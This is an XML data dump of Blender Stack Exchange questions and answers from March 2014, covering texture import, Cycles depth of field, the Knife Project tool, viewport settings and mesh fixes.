  <row Id="7920" PostTypeId="1" AcceptedAnswerId="7921" CreationDate="2014-03-21T04:17:54.907" Score="12" ViewCount="44627" Body="&lt;p&gt;I'm a new blender user, but have used other modelling programs before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've downloaded a &lt;a href=&quot;http://www.models-resource.com/nintendo_64/pokemonsnap/model/4949/&quot; rel=&quot;nofollow noreferrer&quot;&gt;model file&lt;/a&gt; and unzipped it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I import the obj into blender, it is my understanding (from here: &lt;a href=&quot;https://blender.stackexchange.com/questions/5110/how-to-import-a-mtl-file&quot;&gt;How to import a .mtl file?&lt;/a&gt;) that the mtl should just import itself with it. However, when I import the obj, I just get a grey model with no texture. Is it actually importing the mtl but I'm not seeing it? Also for the record, I have changed no settings in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Picture for reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/l3F5ewq.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2858" LastEditorUserId="241" LastEditDate="2020-06-26T13:40:13.710" LastActivityDate="2020-06-26T13:40:13.710" Title="Blender isn't importing mtl correctly with obj?" Tags="&lt;import&gt;&lt;obj&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7921" PostTypeId="2" ParentId="7920" CreationDate="2014-03-21T04:57:11.733" Score="12" Body="&lt;p&gt;You need to have your viewport shading set to &lt;em&gt;Textured&lt;/em&gt; to see any textures or materials on the imported model. Press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; to switch to textured view or alternatively, open the properties panel with &lt;kbd&gt;N&lt;/kbd&gt; and under &lt;em&gt;Shading&lt;/em&gt;, tick &lt;em&gt;Textured Solid&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pM9Pk.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pM9Pkb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &#xA;&lt;a href=&quot;https://i.stack.imgur.com/QZLBy.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QZLByb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Click the images for a higher res.&lt;/em&gt;)&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-03-21T04:57:11.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7923" PostTypeId="1" AcceptedAnswerId="7925" CreationDate="2014-03-21T05:27:36.143" Score="15" ViewCount="22167" Body="&lt;p&gt;Last time I checked, blender could only render depth of field effects in a post process pass, using the &quot;Defocus Node&quot;, which seemed to get it quite wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there now a way to include rays across a lens during tracing and produce a more realistic depth of field?&lt;/p&gt;&#xA;" OwnerUserId="1713" LastEditorUserId="1713" LastEditDate="2014-07-18T14:48:32.513" LastActivityDate="2021-04-18T08:39:16.117" Title="Real depth of field in blender, without post processing" Tags="&lt;cycles-render-engine&gt;&lt;depth-of-field&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7924" PostTypeId="2" ParentId="7918" CreationDate="2014-03-21T09:33:44.010" Score="0" Body="&lt;p&gt;Depending on what you need, scaling -1 in a global direction might work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UL47I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yHhDe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-03-21T14:00:40.050" LastActivityDate="2014-03-21T14:00:40.050" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7925" PostTypeId="2" ParentId="7923" CreationDate="2014-03-21T10:41:12.240" Score="19" Body="&lt;p&gt;With the Cycles Renderer, DoF is supported natively. Select the camera, switch to the Camera properties panel, and set up DoF.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JuF3O.png&quot; alt=&quot;DoF properties&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="57787" LastEditDate="2021-04-18T08:39:16.117" LastActivityDate="2021-04-18T08:39:16.117" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7926" PostTypeId="2" ParentId="7918" CreationDate="2014-03-21T11:57:23.243" Score="9" Body="&lt;p&gt;You can swap the normal of the face by flipping the directions of the curve.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the curve&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In edit mode go to &lt;em&gt;Curve -&gt; Segments -&gt; Switch Direction&lt;/em&gt;. You can also do this via the space menu be searching for &quot;switch direction&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="12" LastEditDate="2014-03-21T15:34:35.647" LastActivityDate="2014-03-21T15:34:35.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7927" PostTypeId="2" ParentId="7917" CreationDate="2014-03-21T12:03:08.093" Score="6" Body="&lt;p&gt;You had &quot;proportional editing object mode&quot; enabled. Toggle it off and it should work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UHyL0.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2014-03-21T12:03:08.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7928" PostTypeId="1" AcceptedAnswerId="7933" CreationDate="2014-03-21T12:15:36.843" Score="78" ViewCount="206209" Body="&lt;p&gt;Coming from SketchUp one of the tools I miss most is the circle draw tool which lets you draw a circle on any face and then you could extrude it in/out. The only tool that I know of that comes close to this is the knife tool but this would be very impractical to cut out with the knife&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pVbvC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any tool in blender that can match this function? also how could you do this with squares?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="2217" LastEditDate="2015-06-01T23:53:04.710" LastActivityDate="2016-09-17T15:27:02.830" Title="How would you cut a shape out of an object using another object?" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;knife-tool&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="45" ContentLicense="CC BY-SA 3.0" />
  <row Id="7929" PostTypeId="2" ParentId="7928" CreationDate="2014-03-21T12:40:38.150" Score="18" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y6SN8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CGrd0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bncmf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you can do like this, But I don't know if this is what you want.&lt;/p&gt;&#xA;" OwnerUserId="2861" LastEditorUserId="1165" LastEditDate="2014-08-14T11:15:34.157" LastActivityDate="2014-08-14T11:15:34.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7930" PostTypeId="2" ParentId="7915" CreationDate="2014-03-21T12:47:02.853" Score="2" Body="&lt;p&gt;I think it might be the node setup for the light. When I set up a similar scene with a pure emission shader on the plane, everything worked as I think you wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N42HY.png&quot; alt=&quot;Massive specular highlight when glossy ray visibility is active&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/psDAl.png&quot; alt=&quot;No specular highlight when glossy ray visibility is inactive&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the scene I have a plane with a 50/50 blue diffuse/white gloss mixed shader, a 100% green diffuse shader and a 100% red glossy shader all at about .2-.3 roughness. There is also the default amount of light being emitted by the world&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally just to prove that the red glossy plane isn't reflecting the light, I turned off the world light and you can see that the red plane is no longer being lit by any light source and is completely black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jNYq5.png&quot; alt=&quot;No world light&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps you.&lt;/p&gt;&#xA;" OwnerUserId="1714" LastActivityDate="2014-03-21T12:47:02.853" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7931" PostTypeId="1" CreationDate="2014-03-21T13:09:26.347" Score="2" ViewCount="32" Body="&lt;p&gt;How do I export my scene with the propper nodes to a Collada file from my cycles render&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on a spaceshipe but when i try to export it to a collada file the texteres are missing, I am using the cycles render and the textures are no images.&lt;/p&gt;&#xA;" OwnerUserId="2863" LastActivityDate="2014-03-21T13:09:26.347" Title="How do I export my scene with the propper nodes to a Collada file from my cycles render" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;export&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2014-03-21T17:33:46.293" ContentLicense="CC BY-SA 3.0" />
  <row Id="7932" PostTypeId="2" ParentId="7928" CreationDate="2014-03-21T13:16:40.753" Score="9" Body="&lt;p&gt;There  is not super simple way of doing this like there is in Sketchup. There are a few ways to do this in blender but this is the best way I have found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the face and subdivide it to add more geometry for the circle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0c2Ow.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the edges that will make up the circle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rHRIF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale the edges to sphere, &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;scale all the way to &lt;code&gt;1&lt;/code&gt; to make it perfectly circular.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/boi8E.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The method described above will work nicely on faces that are square, but if the face is a rectangle the circle will look stretched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ylZ2Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To fix this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open up the user preferences, &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;U&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the addons tab search for &quot;Looptools&quot; and install it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gvWCr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Close the user preferences&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the edges of the circle&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run the Space command from the loop tools addon, &lt;kbd&gt;W&lt;/kbd&gt; -&gt; Loop Tools -&gt; Space&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NA8nT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You will notice that it looks a bit better&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jRfhT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To make it look circular run the scale to sphere command again,  &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/29It6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-21T13:16:40.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7933" PostTypeId="2" ParentId="7928" CreationDate="2014-03-21T13:48:22.317" Score="108" Body="&lt;h2&gt;&lt;strong&gt;Knife Project Tool&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The tool you are looking for is the Knife Project tool. Here's how to use it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create your cube that you want to put the circle on  &lt;/li&gt;&#xA;&lt;li&gt;Add a circle curve: &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Curve -&gt; Circle  &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Position the circle in front of the face you want to put the circle on, as shown here (highlighted in green):   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qBaZG.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now go to the viewport where the circle visually appears where you want your circle to be on your cube, like this:   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/926ip.png&quot; alt=&quot;enter image description here&quot;&gt;   &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now select the circle, then hold down &lt;kbd&gt;SHIFT&lt;/kbd&gt; and select the cube.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Switch into Edit mode  &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tools panel (&lt;kbd&gt;T&lt;/kbd&gt;) -&gt; Mesh Tools section -&gt; Add section -&gt; click Knife Project &#xA;(Note: In 2.70, the Mesh Tools section is located in the Tools tab)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will result in the cube now having a circular hole in the front face:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2tKlg.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you now want to fill the hole with a face, select all the vertices of the hole and press &lt;kbd&gt;F&lt;/kbd&gt;.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; In this example, the circle is considered the Knife, which is kind of like a cookie cutter, or perhaps even a bullet, and so when you click on the Knife Project button, what Blender does is it projects/shoots the knife (here the circle) &lt;em&gt;from the visual angle in your active viewport&lt;/em&gt;. So, make sure you have the knife visually lined up so that when it projects/shoots onto your destination object, it will make the circle right where you want it. Here are two examples of projecting from different angles:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HV1dU.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An interesting note is that in the example above where the knife is visually at an angle, the resulting face on the destination object is NOT automatically deleted (see the highlighted face on the lower example.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can indeed use any shape as a knife:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1tLwW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-05-01T01:10:19.113" LastActivityDate="2014-05-01T01:10:19.113" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="7934" PostTypeId="1" AcceptedAnswerId="7935" CreationDate="2014-03-21T15:05:33.113" Score="15" ViewCount="6363" Body="&lt;p&gt;I've just upgraded to 2.70 and now when I'm in Front Ortho view (or Back Ortho, Right Ortho, etc) and rotate out of it into User view, it switches out of Orthographic mode into Perspective. Blender 2.69 didn't do this? Why is it happening now in 2.70?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-09-01T20:42:57.563" Title="Why does Blender 2.70 not stay in Orthographic view when rotating from, say, Front Ortho view?" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7935" PostTypeId="2" ParentId="7934" CreationDate="2014-03-21T15:19:35.093" Score="19" Body="&lt;p&gt;In blender 2.70 &lt;em&gt;Auto Perspective&lt;/em&gt; is turned on be default in the user preferences. This will cause you to go from perspective to orthographic when changing from the User View a view like the side view. The same is true visa versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change this behaviour you can edit the user preferences.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the user preferences, &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;U&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;em&gt;Interface&lt;/em&gt; tab disable &lt;em&gt;Auto Perpective&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To make this change permanent &lt;em&gt;Save User Preferences&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h19Ts.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-21T19:45:37.107" LastActivityDate="2014-03-21T19:45:37.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7936" PostTypeId="1" CreationDate="2014-03-21T17:17:20.690" Score="4" ViewCount="225" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What are alternative methods to Fluid for making a glass appear to be full of liquid?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I just require a quick simple method. I was going to use particles but wondered if anyone had other methods or ideas.&#xA;Doesn't need to be too realistic as it's only for a small static image project.&lt;/p&gt;&#xA;" OwnerUserId="2865" LastEditorDisplayName="user12855" LastEditDate="2015-05-27T00:51:03.223" LastActivityDate="2015-05-27T00:51:03.223" Title="What are alternative methods to Fluid for making a glass appear to be full of liquid?" Tags="&lt;texturing&gt;&lt;particles&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7938" PostTypeId="1" AcceptedAnswerId="7963" CreationDate="2014-03-21T18:47:09.917" Score="8" ViewCount="1915" Body="&lt;p&gt;I am very new to Blender.  I have been looking for a program to create a model for visualizing different math concepts.  Blender looks promising as it provides the possibility for not only this, but graphical modeling far beyond as well, so I would like to learn it to build upon this knowledge continually.&#xA;To begin I would like to start by making an image similar to this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/9/93/Spherical_triangle_3d_opti.png/578px-Spherical_triangle_3d_opti.png&quot; alt=&quot;sphere math&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have been able to get some objects and planes created with some coloring and shading, but I haven't been able to find out how to get certain domains to be addressed individually, or how to get angle labels on these domains.&lt;/p&gt;&#xA;&lt;p&gt;For example, in the image above, the ABC region has a different texture than the whole sphere. Is there a way to select a region where to objects intersect, etc. in blender?  How would this triangle on a sphere be created and labeled in Blender?&lt;/p&gt;&#xA;&lt;p&gt;Thank you very much for any help, I greatly appreciate it and will continue to update this thread if I find any answers in the meantime.&lt;/p&gt;&#xA;" OwnerUserId="2866" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-22T19:59:29.213" Title="Adding Labels, Angles, Domains on Objects for Making Math Models" Tags="&lt;modeling&gt;&lt;materials&gt;&lt;uv&gt;&lt;geometry&gt;&lt;groups&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7939" PostTypeId="2" ParentId="7911" CreationDate="2014-03-21T19:31:40.743" Score="14" Body="&lt;p&gt;For the boolean operation to work properly you need to fix the mesh first.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the text object&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into edit mode, &lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all, &lt;kbd&gt;A&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove the doubles, &lt;kbd&gt;W&lt;/kbd&gt; -&gt; Remove Doubles&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fix the normals, &lt;kbd&gt;Ctrl&lt;/kbd&gt; N&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Once you do this the boolean operation will work properly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M3dht.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-21T23:21:43.250" LastActivityDate="2014-03-21T23:21:43.250" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7940" PostTypeId="1" AcceptedAnswerId="7944" CreationDate="2014-03-21T20:02:31.803" Score="3" ViewCount="466" Body="&lt;p&gt;I am a fairly confident blender user, who has been using the software for about 1.5 years. I have recently updated from version 2.63 to version 2.70, but I have noticed that in version 2.70 the text alignment has changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to change it back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2fREI.png&quot; alt=&quot;Number field alignment in Blender 2.70&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked all over the internet and cannot find any way to change it in the User Preferences.&lt;/p&gt;&#xA;" OwnerUserId="2869" LastEditorUserId="1363" LastEditDate="2014-03-21T23:17:05.790" LastActivityDate="2014-03-21T23:21:24.260" Title="Text alignment changed in 2.70" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7941" PostTypeId="2" ParentId="7936" CreationDate="2014-03-21T20:11:21.807" Score="4" Body="&lt;p&gt;One way is by simply creating a face for the surface of the liquid, and then use separate materials on each interface as in &lt;a href=&quot;https://blender.stackexchange.com/q/2823/599&quot;&gt;this post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0jfop.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Y0Tq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-03-21T20:35:13.667" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7942" PostTypeId="2" ParentId="7912" CreationDate="2014-03-21T20:36:57.200" Score="2" Body="&lt;p&gt;I'm far from experienced with animation, but as you've not had an answer yet; I'll try to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the images you provide I cannot see a root bone for your rig, a root bone should not be keyframed at all in your walk cycle, and should be the parent of your armature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you translate your walk cycle into your animation, it should be keyframes on the root bone that control the position of your armature in world space, and your action strips that control the movements of the bones of your model. These separate actions need to be well synchronised to prevent slippage of your character in your animation, this is discussed in the latter portions of the videos you refer to, and also the question you referred to posted by stacker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any of the keyframes in your walk cycle control the world position of your rig, then this is the reason your character has snapped back to the beginning.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-03-21T20:36:57.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7943" PostTypeId="1" AcceptedAnswerId="7968" CreationDate="2014-03-21T21:00:40.070" Score="3" ViewCount="1802" Body="&lt;p&gt;I'm trying to work with physics using an imported .SVG file (tried several files).&#xA;Steps followed:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Imported an .svg&lt;/li&gt;&#xA;&lt;li&gt;Extruded the .svg&lt;/li&gt;&#xA;&lt;li&gt;Converted curve (svg file) to mesh&lt;/li&gt;&#xA;&lt;li&gt;Created a plane.&lt;/li&gt;&#xA;&lt;li&gt;Applied 'rigid body tools' to plane -&gt; Passive&lt;/li&gt;&#xA;&lt;li&gt;Applied 'rigid body tools' to svg -&gt; active&lt;/li&gt;&#xA;&lt;li&gt;Created and applied 'rigid body tools' to cube (for reference/test purpose).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The result is this: &lt;a href=&quot;https://www.youtube.com/watch?v=AAHoA264mW8&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=AAHoA264mW8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why doesn't the imported .svg collide correctly?&lt;/p&gt;&#xA;" OwnerUserId="2870" LastEditorUserId="20" LastEditDate="2014-03-21T21:13:21.890" LastActivityDate="2014-03-22T20:29:11.483" Title="SVG Model falling through the ground?" Tags="&lt;physics&gt;&lt;import&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7944" PostTypeId="2" ParentId="7940" CreationDate="2014-03-21T23:21:24.260" Score="4" Body="&lt;p&gt;This is a new feature in v2.70. It looks like someone missed to add it to the release notes despite this being a pretty noticeable change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proposal / discussion:&lt;br&gt;&#xA;&lt;a href=&quot;https://developer.blender.org/T37761&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T37761&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Commit:&lt;br&gt;&#xA;&lt;a href=&quot;https://developer.blender.org/rBdde5e5ce2581ffd544b442c58d6eefbc1ff61772&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/rBdde5e5ce2581ffd544b442c58d6eefbc1ff61772&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK there is no option to change it other than compiling without this pragma def: &lt;code&gt;USE_NUMBUTS_LR_ALIGN&lt;/code&gt; (see above commit).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-03-21T23:21:24.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
